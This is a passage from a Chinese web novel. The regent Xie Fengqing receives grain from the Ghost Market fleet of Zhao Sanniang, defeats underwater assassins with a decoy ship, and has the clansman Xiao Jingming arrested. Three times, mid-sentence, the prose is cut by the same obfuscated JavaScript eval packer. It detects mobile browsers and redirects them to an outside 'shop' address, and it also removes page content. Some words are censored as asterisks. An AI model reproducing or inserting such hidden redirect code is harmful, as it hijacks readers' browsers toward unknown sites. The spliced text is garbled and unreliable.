就在那报捷声传来的瞬间,萧景明脸上那副精心维持的、混合着虚伪谦卑和暗自得意的表情,如同被重锤击中的琉璃面具,瞬间彻底凝固、僵硬,继而寸寸碎裂!他嘴角那抹即将勾勒成型的胜利者弧度,僵死在脸上,显得无比滑稽和扭曲。他的脸色以肉眼可见的速度,从故作镇定的红润,褪为难以置信的苍白,最后化为一种死灰般的惨白,毫无血色,仿佛全身的血液都在一瞬间被抽干了。他甚至能清晰地感觉到自己的手脚在瞬间变得冰凉,一股寒意从脚底板直冲天灵盖,让他不由自主地打了个剧烈的寒颤。 他猛地扭头,难以置信地望向身旁的其他宗室子弟,试图从同伴那里找到一丝否定这个噩耗的证据。然而,他看到的只是一张张同样写满了极度的惊骇、茫然、以及彻底慌乱的惨白面孔。他们的眼神空洞,嘴唇哆嗦,有人甚至双腿发软,需要依靠同伴的搀扶才能勉强站立。他们互相张望,都从对方眼中看到了同样的信息:完蛋了!全盘计划,彻底崩盘! 鬼市?那个连朝廷都难以插手、神秘莫测、游离于律法边缘、亦商亦盗的海上庞大势力?他们怎么会……怎么可能会在这个要命得不能再要命的关头,如此精准、如此及时地出现?还带来了足以养活数万大军数月之久的十万石粮食?更可怕的是,动用了那传说中威力巨大、堪比天罚的火龙炮舰护航?这完全不合常理!这彻底打乱了他们精心策划、自以为万无一失的全盘计划!这简直……如同噩梦一般! 萧景明的大脑一片空白,嗡嗡作响。他精心构筑的、以为坚不可摧的优势,在对方这记突如其来的、雷霆万钧的反击下,显得如此可笑,如此不堪一击。他仿佛能听到自己野心和贪婪构筑的堡垒,正在轰然倒塌的巨响。绝望,如同冰冷的毒蛇,瞬间缠紧了他的心脏。 谢凤卿缓缓转头,目光如冰冷的刀锋般扫过面如死灰、呆若木鸡的萧景明等人。她的视线在每个人脸上停留的时间短暂却极具穿透力,仿佛能看穿他们内心正在崩塌的算计和恐惧。风雪吹拂着她额前的几缕青丝,却吹不散她周身那股如山岳般稳固的威严。 “萧主事。”她的声音依旧平静,却带着一种奇特的穿透力,每个字都清晰地敲打在对方紧绷的神经上,“看来你这桩精心策划的‘公平交易’……”她刻意停顿了一下,唇角勾起一抹极淡却冰冷刺骨的弧度,“注定是做不成了。” 这轻轻的一句话,却比任何厉声呵斥都更具杀伤力。萧景明仿佛被无形的手扼住了喉咙,脸色由惨白转为死灰。他张了张嘴,喉咙里发出几声干涩、毫无意义的“咯咯”声,像一条离水的鱼,徒劳地挣扎着想要吸入一丝空气。他还想垂死挣扎,或许是想质疑这消息的真伪,或许是想抛出其他筹码挽回局面,但所有的话语都卡在喉咙里,化为徒劳的蠕动。他眼睁睁看着谢凤卿的目光从他身上轻蔑地掠过,仿佛扫过一堆无关紧要的垃圾,随后便完全不再看他,那种彻底的漠视,比直接的羞辱更令人绝望。在谢凤卿眼中,他连同他身后的宗室势力,此刻已然如同一团污浊的空气,不值得再分神半点。 她利落地转身,玄色斗篷在雪地上划出一道决绝的弧线,面向那名几乎虚脱、却因带来的惊天喜讯而激动得满脸潮红的传令兵。她的声音沉稳有力,带着不容置疑的决断力,瞬间驱散了传令兵身心的极度疲惫:“好!再探再报!命水寨立刻全面戒备,所有岗哨加倍,**上火,旌旗明号,清理出最宽敞的航道,准备迎接鬼市船队入港!”她的话语斩钉截铁,每一个指令都清晰明确,“此乃军国大事,关乎数万将士生机,不得有丝毫延误和差错!若有懈怠者,军法从事!” “得令!!”传令兵听到这明确的指令和主帅坚定的语气,原本濒临极限的身体仿佛被注入了一股新的力量,他挺直脊梁,用尽胸腔中最后一丝气息,吼出了一声铿锵有力的回应。这声音虽然沙哑,却充满了重获希望的振奋。旁边早有眼疾手快的同伴上前,一把搀扶住他摇晃的身体,另一人迅速牵来一匹早已备好的健壮战马。传令兵在同伴的帮助下,咬牙翻身上马,甚至来不及抹去脸上的雪水泥泞,便猛地一夹马腹,再次义无反顾地冲进了茫茫风雪之中,身影很快被翻卷的雪幕吞噬,继续履行他的使命。 直到此时,谢凤卿才微微侧首,与一直并肩立于身侧的萧御交换了一个眼神。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627281|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞥,短暂得如同电光石火,却蕴含了千言万语。两人都从对方眼中看到了那一闪而过的、如释重负的轻松——那是在悬崖边缘被拉回后的本能反应,是沉重压力骤然减轻后的瞬间松弛。然而,在这丝轻松之下,是更深层次的、无需言说的默契与心照不宣的冷厉。他们都清楚,鬼市船队的到来,只是解了燃眉之急,撕开了绝望阴云的一道裂缝,让希望的曙光得以透入。但真正的战斗,远未结束。宗室势力的挑衅和内部错综复杂的博弈,方才刚刚拉开序幕。眼前这场粮草风波,不过是冰山一角,更大的风浪,或许还在后方酝酿。 萧御微微颔首,动作轻微得几乎难以察觉,但谢凤卿已然明白。他们之间早已不需要过多的言语,一个眼神便能传递所有的支持与共同的决心。危机暂时缓解,但警惕绝不能放松。他们需要利用这宝贵的喘息之机,巩固防线,清理内部,并将今日萧景明等人趁火**的账,一笔一笔,连本带利地清算清楚。冰冷的空气中,弥漫着硝烟暂熄后的沉寂,以及新一轮风暴正在积聚的压抑感。 希望之光照亮了前路,但也照亮了前路上更多的荆棘与险阻。 午时初刻,黑风口外海,风高浪急,天地晦暗。 铅灰色的厚重云层低垂,仿佛触手可及,与墨蓝色、翻滚不休的海面几乎融为一体,构成一幅压抑而危险的画卷。狂风卷着冰冷的雪沫和咸涩的海水,如同无数条无形的鞭子,疯狂地抽打着起伏不定的波涛,溅起漫天白沫。就在这片险恶的海域中,一支庞大的船队,正如同移动的山脉,破开重重巨浪,坚定地前行。 为首的两艘战舰,造型奇特而威武,流线型的舰体呈现出一种暗沉的铁灰色,仿佛与这恶劣的海天融为了一体。舰首并非传统的撞角,而是雕刻着狰狞的龙头,龙口大张,露出黑洞洞的、散发着森然寒光的炮口——那便是令海上群匪闻风丧胆的“火龙炮”!高耸的主桅杆上,巨大的“凤”字战旗在狂风中猎猎狂舞,如同不屈的意志,傲然宣示着它的归属。紧随其后的,是十艘体型更为庞大、如同海上城堡般的五千料粮船。它们吃水极深,船身沉稳,显然满载着足以决定边关命运的货物。这些粮船的船身两侧,都用特殊的、不易褪色的颜料,描绘着独特的鬼面图腾——那狰狞中透着一丝诡秘与威严的图案,正是神秘莫测的鬼市船队的标志! 岸边上,得到确切消息的谢凤卿、萧御以及军中所有主要将领,早已在此冒雪等候多时。尽管风雪扑面,寒意刺骨,几乎要将人冻僵,但每个人都努力挺直脊梁,翘首以盼,目光灼灼地望向那片迷蒙混沌的海天相接之处。当船队那巍峨的轮廓,终于穿透风雪与海浪的阻隔,清晰地出现在视野中时,岸上再次爆发出了一阵比之前更加热烈、更加持久的欢呼声!许多士兵甚至激动得跪倒在雪地中,向着大海的方向叩首,感谢上苍,感谢这及时的援手! 第86章“浪里蛟”赵三娘。 粮船在引导船的指挥下,缓缓调整方向,小心翼翼地靠向那临时搭建、显得颇为简陋的码头。海浪拍打着船舷和礁石,发出巨大的轰鸣。 为首一艘火龙炮舰的跳板刚刚触及被冰雪覆盖的码头木板,一道鲜艳如火的身影便已如离弦之箭,矫健地疾掠而下。那身影不似寻常人下船时的谨慎试探,更像一只久经风浪的海燕,精准地抓住风势稍缓的刹那,又似一团燃烧的烈焰,骤然脱离舰体,划破凛冽的空气。只见她足尖在微微晃动的跳板末端轻轻一点,借力腾空,身形在空中舒展开一个流畅的弧线,随即稳稳落地,靴底与积雪接触时发出极轻微的“咯吱”声,仿佛只是片羽坠地,显示出其对身体力量精妙绝伦的控制力。她落在谢凤卿面前数步之遥的雪地上,这个距离既表达了敬意,又不失自信与独立。 来人正是一名女子,观其容貌风姿,约在三十上下年纪,正是褪去青涩、风华内蕴的成熟年华。她周身那一袭醒目的红色,并非寻常绸缎,而是用特殊鱼皮鞣制、浸以桐油反复刷涂而成的贴身水靠,紧密地包裹着她健美而匀称的身躯,勾勒出流畅而充满力量的线条。水靠之外,罩着一件同色的防风皮质软甲,甲片轻薄而坚韧,在灰白的天光下泛着暗红色的光泽,如同凝固的血色,既添几分飒爽英武,又兼具实际的防护功用。腰间随意却稳固地挎着一柄造型奇特的弯刀,刀鞘以深海沉木所制,纹路古朴,刀柄缠着防滑的暗色鲛绡,尾端镶嵌着一颗不甚起眼却隐隐泛着幽蓝光泽的深海珍珠,暗示着主人不凡的经历与身份。 她拥有一张被海风与烈日亲吻过的面庞,肤色是健康的麦色,细腻却并不粗糙,透着一层阳光浸染后的暖光。额头光洁饱满,眉形如远山含黛,斜飞入鬓,不似闺阁女子般细描,却自然带着一股不容忽视的英气。一双眸子最为出彩,眼型略长,眼尾微挑,瞳仁是罕见的琥珀色,顾盼之间神采飞扬,锐利时如鹰隼能穿透迷雾,温和时又似午后阳光下的浅海,澄澈见底。鼻梁高挺,带着一丝决断的意味。嘴唇的线条清晰有力,嘴角天然地微微上翘,即便不笑时也仿佛含着一丝洒脱不羁、看惯风云的淡然笑意,但若细看,那笑意底下却藏着不容触碰的坚韧与锋芒。一头乌黑浓密的长发并未盘成繁复发髻,而是编成一根粗壮结实的发辫,随意地甩在肩后,发梢几近腰际,随着她的动作微微晃动,更添几分野性之美。此人正是掌控这片海域航运、声名赫赫的鬼市船队巨头之一,人称“浪里蛟”的赵三娘。 赵三娘目光扫过全场,最终精准地落在为首的谢凤卿身上。她没有丝毫迟疑,右腿向后微撤,左膝一曲,单膝干脆利落地跪在冰冷的雪地中,抱拳行礼,动作一气呵成,没有丝毫拖泥带水或谄媚之态。那抱拳的姿势也与众不同,并非完全规整的军礼,而是带着几分江湖儿女的豪爽与约定俗成的敬重,拳头紧握,拇指微扣,显示出她既认同秩序又保有自身规则的特质。 “鬼市赵三娘,”她开口,声音爽朗清澈,不高不低,却带着一种奇特的穿透力,清晰地传入在场每个人的耳中,那声音里仿佛带着大海的咸腥气息、长风破浪的豁达以及历经锤炼的沉稳,“奉我家龙头之命,押运江南新米十万石,另附上等金疮药五百箱、特制驱寒丸三百坛、以及秘制雪蟾丹一百箱,特来交付王爷!”她略微抬头,目光明亮而坦然地迎向谢凤卿的视线,眼神中没有寻常下属面对上位者时常有的怯懦或闪烁,只有基于实力的平等尊重、对合作伙伴的重视,以及圆满完成重要任务后的坦然与轻松。她略微停顿,补充道,语气中透着一丝不易察觉的自信:“所有物资均已查验无误,船队可随时卸货入库,以供军用。” 谢凤卿步履沉稳地上前一步,玄色战袍的下摆拂过积雪,发出细微的沙沙声。她微微弯腰,这个动作既保持了摄政王的威仪,又流露出对眼前这位海上枭雄的尊重。她伸出戴着玄色手套的右手,亲自扶住赵三娘的手臂,那动作不似寻常的虚扶,而是带着实实在在的力道,传递着一种平等和信任。当她开口时,声音诚挚而清晰,每一个字都饱含着分量:“三娘请起,诸位兄弟远道而来,一路辛苦。”她的目光并未停留在赵三娘一人身上,而是越过了她火红的身影,扫向后方那十艘如同海上堡垒般巍峨的粮船。 那些船只吃水极深,巨大的船体在风雪中稳如泰山,桅杆如林,帆缆交织,无声地诉说着它们承载的希望之重。船板上,那些身着各异服饰、却个个身形精干、眼神锐利如鹰的水手们,虽然面带长途跋涉的疲惫,但依旧纪律严明地坚守岗位,无声地展示着鬼市船队强大的实力。谢凤卿的目光缓缓掠过这一切,最终回到赵三娘脸上,眼中流露出的是毫不掩饰的真诚关切:“风雪兼程,浪急礁险,将士们可都安好无恙?” 这一问,看似平常,却蕴含深意。她问的不是货物,不是船只,而是“将士们”的安危。这细微的差别,瞬间将冷冰冰的交易提升到了并肩战友的情谊层面。与鬼市的合作,最初确实始于乱世中各取所需的利益交换——朝廷需要鬼市无孔不入的运输网络和庞大资源,鬼市则需要朝廷认可的合法身份和稳定的贸易环境。但近年来,尤其是在谢凤卿顶住朝中顽固派的巨大压力,力排众议,推行新政,允许鬼市在一定严格监管下合法经营部分条件优越的沿海港口,并公平地共享部分利润丰厚的关键海上贸易线路后,双方的关系早已超越了简单的互相利用。一次次在风浪中并肩作战,在危机中相互驰援,使得这种合作关系变得更加紧密、牢固,并逐渐滋生出基于共同利益和相互认可的信任。赵三娘和她麾下这群在刀尖上舔血、却重诺守信的鬼市儿郎,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635771|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次在朝廷军械转运受阻、沿海倭寇海盗肆虐的危急时刻,挺身而出,凭借其对海路的熟悉和强悍的战斗力,协助转运关键物资,清剿匪患,早已被谢凤卿视为可以倚重、甚至托付重任的强大助力。 赵三娘感受到手臂上传来的坚实力量,顺势利落地站起身,动作没有丝毫拖泥带水。她毫不在意地抬手,用力拍打着皮质软甲上沾染的雪花和些许泥点,发出“啪啪”的轻响,这个不拘小节的动作充分展现了她的豪爽性格。她咧嘴一笑,嘴角几乎咧到耳根,露出两排洁白整齐的牙齿,在这片素白的世界里,那笑容如同阳光般灿烂,更添几分江湖儿女的洒脱不羁:“谢王爷挂心!”她的声音清亮,带着海风般的爽利,“弟兄们都是海里泡大的,咸水鱼似的,这点风浪,还扛得住!就当是洗了个冷水澡,活动活动筋骨!”她语气轻松诙谐,仿佛刚刚经历的只是一场寻常的航行。 然而,站在近处的谢凤卿和萧御,都敏锐地捕捉到她眼中那一闪而逝的厉色——那是一种如同鲨鱼嗅到血腥味时的锐利和冰冷,虽然短暂,却足以说明此行绝非她口中描述的那般风平浪静、波澜不惊。果然,赵三娘话锋随之一转,语气依旧带着几分漫不经心,却透出森然的杀意:“这一路嘛……倒是遇到几拨不长眼的‘海瞎子’,闻着味儿想来叼咱们粮船这块肥肉,哼,也不掂量掂量自己的斤两,有没有那么好的牙口!”她冷哼一声,拇指下意识地摩挲了一下腰间断浪刀的刀柄,“都被咱们船头的火龙炮‘好言相劝’了一番,炮口一亮,道理就讲通了。这会儿,那些不开眼的家伙,估计都在龙王爷那儿排队喝茶赔罪呢!” 她说得轻描淡写,甚至带着一丝戏谑,但话语中那浓烈的、几乎能嗅到的血腥味,却让周围久经沙场、见惯了生死的将领们都为之动容,仿佛看到了漆黑的海面上,炮火撕裂夜幕,敌船在**中解体沉没的惨烈景象。这简短的几句话,不仅交代了途中的凶险,更是在向谢凤卿,也是向所有在场的人宣告:鬼市船队有足够的能力守护这批至关重要的物资,任何胆敢阻拦者,都已付出代价。这是一种实力的展示,也是一种无声的承诺。 萧御闻言,立即敏锐地捕捉到了关键,上前一步,神情严肃地问道:“三娘,可能看出是哪一路的人马?寻常海匪,绝不敢打你们鬼市船队,尤其还有火龙炮舰护航的主意。”这背后,定然另有隐情。 赵三娘冷笑一声,那笑容里带着冰冷的杀意。她不再多言,直接从怀中取出一个用油布严密包裹的物件,小心地打开。里面赫然是一枚沉甸甸、触手冰凉的玄铁令牌!令牌造型古朴,边缘有些许磨损,显然有些年头,但正面雕刻的那个繁复而独特的徽记,却清晰可辨——正是在场许多高层将领都隐约认识,属于宗室内部秘密蓄养的死士所用的标识! 第87章保护粮船 “都是些被拔了舌头、喂了哑药的死士,活口没留下几个,剩下的也自己嚼碎了毒囊。”赵三娘语气平淡,却带着森然寒意,将令牌递给萧御,“不过,老天爷开眼,从其中一个看着像是头目模样的人身上,搜出了这个。王爷,监国,您二位过目。” 萧御接过那枚冰冷的令牌,指尖触摸到那凹凸不平的徽记,眼神骤然变得冰冷刺骨,周身不受控制地散发出一股凛冽的、如同实质的杀气!他紧紧攥住令牌,指节因过度用力而泛白,声音从牙缝里挤出来,带着滔天的怒意:“果然是他们!竟敢真的如此丧心病狂,对军粮船队下手!”这已不仅仅是囤积居奇、趁火**了!这是赤裸裸的资敌!是叛国!是意图断绝数万边军生路,将整个大梁北境防线推向万劫不复的深渊!其心可诛!其行当千刀万剐! 谢凤卿的脸上也瞬间覆上了一层挥之不去的寒霜,周围的空气仿佛都因她的怒气而骤然降温。但她并未立刻发作,只是伸手从萧御手中接过那枚令牌,紧紧攥在手心,那玄铁的冰冷,似乎远不及她此刻心中的寒意。指节因用力而微微发白,显示出她内心远不如表面看起来那般平静。 惊变!水下刺客的突袭与反制 就在萧景明等宗室成员面如死灰、瘫软在地,众人因鬼市船队的及时抵达而欢欣鼓舞之际,异变陡生! “轰——!!!” 一声沉闷如远古巨兽咆哮的巨响,毫无征兆地撕裂了风雪与欢呼交织的喧嚣,其声浪之猛烈,甚至短暂压过了狂风的嘶吼与海浪的拍击!这声音并非来自天际,而是源自船队停泊的黑石湾方向,带着一种毁灭性的震动,仿佛大地深处被引爆了**。 所有人骇然转头,目光齐刷刷投向声音来源。只见鬼市船队中,位于侧后方的一艘五千料粮船,船尾处猛然爆起一团耀眼夺目的橘红色火光!那火光并非缓慢燃起,而是如同地火喷发般骤然炸开,将昏暗的雪夜照得一片血红。浓黑如墨的烟柱裹挟着烈焰,冲天而起,直上云霄,与铅灰色的天幕形成骇人的对比。**的冲击力将船尾甲板撕裂开来,无数碎裂的木屑、扭曲的金属构件,以及被抛飞起来的、看似是装满粮食的麻袋(实为伪装),在空中四散纷飞,划出绝望的弧线,随后重重砸落在冰冷的海面上或邻近的船只上,发出噼里啪啦的落水声和撞击声。 “有刺客!水下有刺客!保护粮船!”鬼市船队中,一名瞭望的水手反应极快,扯着嗓子发出了尖锐刺耳的警报,声音因极度震惊而变调。这些常年在刀尖上舔血的鬼市儿郎,对危险有着野兽般的直觉。 几乎是同一时刻,萧御瞳孔骤缩,出于战场本能,厉声下令:“保护粮船!风雪十八骑,拿下刺客!”他的声音如同惊雷,在短暂的死寂后炸响,充满了不容置疑的决断力。站在他身侧的凌雪、石勇等风雪十八骑成员,闻令而动,没有丝毫迟疑!他们如同蓄势已久的猎豹,身形暴起,化作十数道白色的残影,以惊人的速度扑向出事地点!脚步踏在积雪和冰凌上,发出急促而有力的“咔嚓”声,显示出训练有素的极致反应。岸上的士兵们也瞬间从极度的震惊中回过神,长期严格训练形成的肌肉记忆让他们立刻进入最高战斗状态。**手迅速扯下弓衣,箭矢瞬间搭上弓弦,冰冷的箭镞对准了波澜起伏、暗藏杀机的海面;刀盾手则齐刷刷地拔出佩刀,举起盾牌,组成防御阵型,紧张地注视着那艘冒着滚滚浓烟、火光跳跃的粮船,以及周围看似平静、实则可能潜伏着更多危险的海域。 整个码头的气氛,从方才粮草抵达的狂喜巅峰,骤然跌入被突袭的紧张谷底,仿佛一根被拉到极致的弓弦,随时可能崩断。希望之后的突变,往往更令人心惊胆战。 然而,在这片突如其来的混乱和恐慌中,有一个人却显得格格不入的镇定,甚至可以说是……从容不迫。 谢凤卿。 她并未像其他人那样惊慌失措地望向**点,甚至没有立刻下达指令。她只是静静地站在原地,玄色斗篷在**产生的气浪中微微拂动。她的目光冷静得近乎漠然,先是精准地投向那艘“遇袭”的粮船,仔细观察了一下火势的蔓延速度、浓烟的颜色以及船体破损的具体位置和程度。那眼神,不像是在看一场灾难,更像是一位高明的医师在审视病人的症状。随后,她的视线如同最老练的猎手般,缓缓扫过粮船周围那片看似平静,却因**余波而荡漾着异常涟漪的海面,仿佛要穿透幽暗的海水,看清其下隐藏的鬼蜮伎俩。最终,她的唇角,竟几不可察地微微扬起一抹极淡、却一切尽在掌握之中的弧度,那弧度中带着一丝冰冷的讥讽和了然。 就在凌雪等人即将冲至岸边,准备强行登船或下水搜捕之际,谢凤卿却突然抬起了一只带着玄色手套的手,轻轻虚按了一下。这个动作幅度很小,却带着奇异的魔力,让疾冲中的风雪十八骑硬生生刹住了脚步,所有人都带着疑惑和询问的目光回头望向他们的主帅。 “不必慌张。”谢凤卿的声音清晰地传入每个人耳中,不高亢,却带着一种奇异的、能够穿透喧嚣、稳定人心的力量,仿佛在滚沸的油锅中投入了一块寒冰,“那艘船上,装的并非粮草。” “什么?”萧御第一个愕然回头,看向谢凤卿,眼中充满了难以置信和不解。连刚刚抵达、对这批粮草极为关切的赵三娘,也投来了惊讶和探究的目光,红唇微张,似乎想说什么却又咽了回去。 谢凤卿迎上萧御疑惑的目光,耐心解释道,声音平静无波,仿佛在叙述一件与己无关的小事:“宗室商会既然敢囤积粮草,哄抬物价,又岂会只满足于口头威胁和交易勒索?我早料到,在他们计划受挫、狗急跳墙之际,极有可能会鋌而走险,不惜代价对运粮船队下手,企图彻底断绝我军生路,从而逼迫我们就范。”她顿了顿,目光扫过赵三娘,微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640264|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微颔首示意,“故而在与三娘秘密沟通船队编组和航讯时,我便特意安排了一艘‘诱饵船’。此船位置靠后,看似满载,实则仅有最表层整齐码放了少量做样子的空粮袋或沙袋,下方舱室,皆是沉重的沙石用以压舱,并未装载一粒粮食。同时,船上还提前埋伏了凌雪精心挑选的二十名水性极佳、擅长潜伏格斗的精锐士卒,伪装成普通水手,布下陷阱,专等他们上钩。” 她略作停顿,目光再次投向那艘仍在燃烧、但火势似乎被某种预先设置的东西限制在船尾局部、并未猛烈蔓延的“诱饵船”,语气带着一丝冷冽:“只是没想到,他们动手如此之快,如此之急不可耐,甚至连仔细甄别目标的耐心都没有,可见其心之虚,其情之迫。” 仿佛是为了完美印证谢凤卿的推断,就在这时,那艘“遇袭”粮船的船舷两侧,突然如同鬼魅般翻上来十余条黑影!这些人正是预先埋伏在船上的精锐!他们身着与鬼市水手相似的深色水靠,但动作更为矫健凌厉,出手如电,迅速扑向几个正试图从水中攀附上船、身着灰黑色水靠、手持短刃凿斧的刺客! 真正的短兵相接,此刻才在这艘作为棋盘的“诱饵船”上激烈展开! 只见一名埋伏的精锐士卒,面对刚刚冒头的刺客,毫不犹豫地一记沉重的刀鞘猛击其手腕,刺客吃痛,短斧脱手落入海中。另一名士卒则利用船沿的高度优势,飞起一脚,将一名试图投掷**的刺客狠狠踹回水中,溅起大片水花。船上顿时响起兵器碰撞的铿锵声、搏斗时的闷哼声以及落水者的惊呼声。埋伏者显然早有准备,配合默契,三人一组,背靠背应对,迅速控制了甲板局面。 与此同时,海面之下,也正上演着无声的猎杀。几名风雪十八骑的成员,在凌雪的示意下,已然悄无声息地潜入冰冷刺骨的海水中。他们都是北地边军中最擅长潜泳搏杀的好手,如同融入了黑暗的**,在水下与那些试图引爆后撤退的刺客展开了激烈的缠斗。水面上不时冒起一串串混杂着血丝的气泡,偶尔有**的寒光在水下闪过,预示着水下战斗的残酷。 整个过程不过持续了一炷香多点的时间。当凌雪亲自带队,从一艘小艇上协助水下同伴,将最后一名负隅顽抗、试图潜水远遁的刺客死死按住,并用特制的牛筋绳索捆成粽子般拖上岸时,这场突如其来的袭击已然被彻底粉碎。 凌雪快步走到谢凤卿面前,浑身湿透,冰冷的海水顺着她的发梢和衣甲不断滴落,在雪地上化开一小片水渍。她抱拳躬身,声音因寒冷和刚才的搏杀而略带颤抖,却依旧清晰冷冽:“禀王爷!刺客共计七人,利用特制灰黑色水靠和芦苇杆换气,长时间潜伏于水下礁石区。待我船队入港,注意力分散之际,以小型吸附式**攻击粮船船尾舵叶附近,企图制造混乱并引爆邻近船只。现七人已被全部擒获,反抗尤为激烈、试图自戕或毁证者四人已被当场格杀!” 第88章一并剜去 她顿了顿,从怀中取出几件用油布包裹的物证,双手呈上:“从其身上搜出淬毒**七柄、可连续发射三枚短矢的腕部小巧劲**三具、见血封喉、即刻毙命的蜡封毒囊若干,以及……”她深吸一口气,取出一枚沉甸甸的玄铁令牌,令牌边缘有些磨损,但正面雕刻的繁复徽记却与之前赵三娘所献如出一辙,“……以及这另一枚令牌确认,皆是宗室暗中蓄养的死士无疑!与赵首领此前所获,一模一样!人证、物证俱在!” 凌雪的报告,如同最后的审判,敲响了萧景明等人命运的丧钟。此刻,这些宗室子弟早已瘫软在地,面无人色,连最后的狡辩力气都已丧失。而谢凤卿的精准预判和巧妙布局,不仅化解了危机,更将敌人的阴谋彻底暴露在光天化日之下。 证据确凿!铁证如山! 现场所有人的目光,瞬间如同无数支淬毒的利箭,齐刷刷地射向那群尚未离开、原本打算趁着混乱悄悄溜走,此刻却被士兵们有意无意围在中间、面如土色的萧景明等人! 萧景明和那群宗室子弟,此刻早已是面无人色,浑身抖如筛糠,冷汗如同小溪般从额头淌下,浸湿了华贵的衣领。他们双腿发软,几乎站立不住,需要互相搀扶才能勉强不倒。他们万万没有想到,谢凤卿的心思竟然缜密、狠辣到了如此地步!不仅预料到了他们的行动,更是早早就设下了如此狠毒的圈套,如今人赃并获,铁证如山!袭击军粮船队,无论是在律法上还是在道义上,这都是抄家灭族、万死难赎其罪的滔天大罪!完了!彻底完了!他们仿佛已经看到了自己以及家族凄惨的下场! “拿下!”谢凤卿的声音冰冷得如同九幽寒冰,不带一丝一毫的感情,宣判了他们的命运。 早已怒不可遏、双目赤红的将士们,如同出闸的猛虎,一拥而上,毫不客气地将萧景明等人粗暴地按倒在冰冷的雪地泥泞之中!用粗糙坚韧的绳索,将他们如同捆猪猡般捆了个结实。萧景明还想挣扎,还想抬出宗室的身份叫嚷,却被一名愤怒的士兵用不知从哪里找来的、沾满泥污的破布,死死塞住了嘴巴,只能发出绝望而痛苦的“呜呜”声,那双曾经充满了精明算计的眼睛里,此刻只剩下无边的恐惧和深不见底的悔恨!可惜,为时已晚。 未时三刻,希望重燃,阴霾未散。 尽管经历了水下刺客这场小小的、却惊心动魄的风波,但鬼市船队运来的巨量粮草和紧缺药材,还是如同久旱甘霖,让整个边关大营从绝望的深渊中被拉了回来,陷入了劫后余生般的狂喜之中。 一袋袋沉甸甸的稻米、一箱箱珍贵的丹药,在重兵护卫下,从庞大的粮船上被小心翼翼又高效地搬运下来,通过无数双激动而虔诚的手,传递着,运送往早已饥渴难耐的仓库。空气中仿佛都弥漫开了新米的清香,驱散了多日来笼罩在军营上空的死亡阴影。士兵们的脸上重新焕发出光彩,腰杆挺得笔直,眼神中充满了希望和力量。 谢凤卿与萧御并肩立于码头高处,默默注视着这繁忙而充满生机的一幕。风雪依旧,但此刻,这风雪似乎也不再那么酷烈,反而带上了一种洗涤一切的纯净。 “危机暂解,但真正的较量,恐怕才刚刚开始。”萧御望着远方依旧阴沉的天空,轻声说道,语气中带着一丝不易察觉的沉重。宗室在朝在野,势力盘根错节,此次断了他们财路,又拿到了他们如此致命的把柄,他们绝不会善罢甘休。 谢凤卿闻言,微微侧头,看向萧御,她的侧脸在风雪中显得格外清晰冷毅,那双深邃的眸子里,锐利的光芒如同暗夜中的寒星,不曾有丝毫减弱。 “那就让他们来。”她的声音平静,却带着一种斩钉截铁的决绝和强大的自信,“正好,借此机会,将这腐烂的脓疮,一并剜去。” 她的目光再次投向那浩浩荡荡的鬼市船队,投向那面在风雪中傲然屹立的“凤”字大旗,以及旁边那狰狞诡秘的鬼面旗。 边关的风雪,依旧在呼啸。但希望的火种,已然点燃。而即将到来的,注定是一场席卷朝堂、波及天下的更大风暴。 正月廿八,北疆大营,晨光熹微。 雪原迎使:北疆军营的晨曦肃立 肆虐了数日的狂风大雪终于停歇,天地间陷入一种罕见的、几乎令人窒息的宁静。这是一个仿佛被时光遗忘的清晨,万籁俱寂,唯有极远处偶尔传来的积雪压断松枝的清脆声响,才短暂打破这深沉的静默。初升的朝阳如同一个巨大的、温润的蛋黄,从遥远的地平线上缓缓探出头来,谦逊而庄严,它不像夏日那般灼热刺眼,而是带着冬日特有的温柔,将万丈金光洒向被厚厚积雪覆盖的广袤原野。 雪原仿佛被铺上了一层无边无际的金色绸缎,闪烁着无数细碎的、璀璨的光芒。这光芒并不刺眼,却带着一种纯净的辉煌,耀眼得令人几乎无法直视。昨日的暴戾天气已被彻底抹去痕迹,只剩下这片洁白无瑕的宁静世界,阳光透过稀薄的云层,给雪地镀上了一层淡淡的金色。远处的山峦像一个个穿着白色披风的巨人,庄严肃穆地伫立在天际线上,山上的树木银装素裹,有的树枝被积雪压弯了腰,构成一幅静谧的水墨画。 